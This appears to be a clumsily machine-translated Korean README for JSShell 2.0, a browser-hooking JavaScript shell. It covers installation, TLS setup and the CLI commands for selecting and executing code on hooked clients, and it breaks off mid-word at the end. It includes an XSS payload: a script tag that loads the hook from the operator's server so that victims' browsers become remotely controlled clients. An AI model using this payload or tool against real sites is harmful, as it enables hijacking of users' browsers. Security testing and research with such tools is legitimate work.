대화식 다중 사용자 웹 기반 JavaScript 쉘. 실험 및 연구 중에 원격 밀교 브라우저를 디버깅하기 위해 처음 만들었습니다. 이 도구는 XSS (크로스 사이트 스크립팅) 페이로드에 쉽게 연결하여 브라우저 원격 코드 실행 (쇠고기 프레임 워크와 유사)을 달성 할 수 있습니다.
버전 2.0은 완전히 처음부터 만들어지며 새로운 흥미로운 기능, 안정성 및 유지 관리를 도입합니다.
다니엘 아벨 레스.
<script> 태그를 통해 주입 가능 resources 디렉토리에서 원하는 구성으로 config.json 파일을 업데이트하십시오.
docker 배포 메소드로 실행중인 경우 데이터베이스 호스트를 db (내부 호스트 이름)로 선택하십시오.shell.js 파일은 새로운 명령에 대한 등록 및 설문 조사를 위해 일부 Ajax 호출을 수행합니다. 일반적으로 http[s]://{YOUR_SERVER_IP}:{PORT} 입니다. 이제 JSShell은 TLS를 지원하므로 이제 TLS 인증서를 생성하여 웹 서버에 공급할 수 있습니다. 웹 서버는 config.json 파일에서 도메인 이름을 추론합니다. 인증서를 만들려면 scripts 폴더에서 create_cert.py 스크립트를 사용하십시오.
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > 스크립트가 올바르게 작동하려면 웹 서버가 다운되어야합니다. 이 시점에서 인증서를 성공적으로 생성했습니다! 우리가해야 할 유일한 수정은 다음과 같습니다.
config.json 파일에서 URL 필드의 스키마를 https 로 변경하십시오.docker-compose.yml 파일에서 web 컨테이너의 노출 된 포트를 443 으로 변경하십시오. 이 새로운 버전은 docker 및 docker-compose 통해 JSShell을 설치하고 실행하는 것을 지원합니다. 이제 전체 jsshell 프레임 워크를 설치하고 실행하려면 간단히 실행하십시오.
$ ./scripts/start_docker_shell.sh이것은 :
JSShell 명령 줄 인터페이스 컨테이너의 새 인스턴스를 생성합니다. 여전히 구식 설치 방법을 사용하려면 MongoDB 데이터베이스를 업데 실행하고 실행 중인지 확인하고 resources 디렉토리에있는 config.json 파일을 업데이트하십시오.
pyenv 와 함께 가상 환경을 사용하는 것이 좋습니다.
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv 또는 virtualenv 사용 :
$ virtualenv -p python3.6 venv
$ source venv/bin/activate그런 다음 요구 사항을 설치하십시오.
$ pip install -r requirements.txt docker 메소드를 사용한 경우 다음 절차를 실행할 필요가 없습니다.
그렇지 않으면 데이터베이스 설정이 있으면 웹 API 서버를 시작해야합니다. 해야 할 일 : 실행 :
$ python manage.py web이것은 들어오는 연결을 듣고 JSSHell 코드를 제공하는 웹 서버를 생성하고 실행합니다.
이제 jsshell CLI를 시작하려면 동일한 스크립트를 실행하지만 이제 shell 플래그를 사용하십시오.
$ python manage.py shell 필요한 구성 요소를 설정하고 실행 한 후 help 명령을 입력하여 사용 가능한 명령을 확인하십시오.
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell은 두 가지 작동 방법을 지원합니다.
JSShell은 다른 XSS 제어 프레임 워크 (쇠고기와 같은)와 유사하게 성공적인 XSS 악용을 관리 할 수 있습니다. 예를 들어, script 태그를 주입 할 수있는 경우 다음 리소스를 페이로드에 주입하면 새 클라이언트가 콘솔에 나타납니다.
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
이국적인 브라우저와 난해한 브라우저를 디버그하려면 http[s]://{YOUR_SERVER_IP}:{PORT}/ 로 이동할 수 있으며 새 클라이언트가 JSShell CLI 클라이언트로 팝업됩니다. 이제 JSShell 콘솔을 통해 디버그링 할 수 있습니다.
JSON을위한 캐노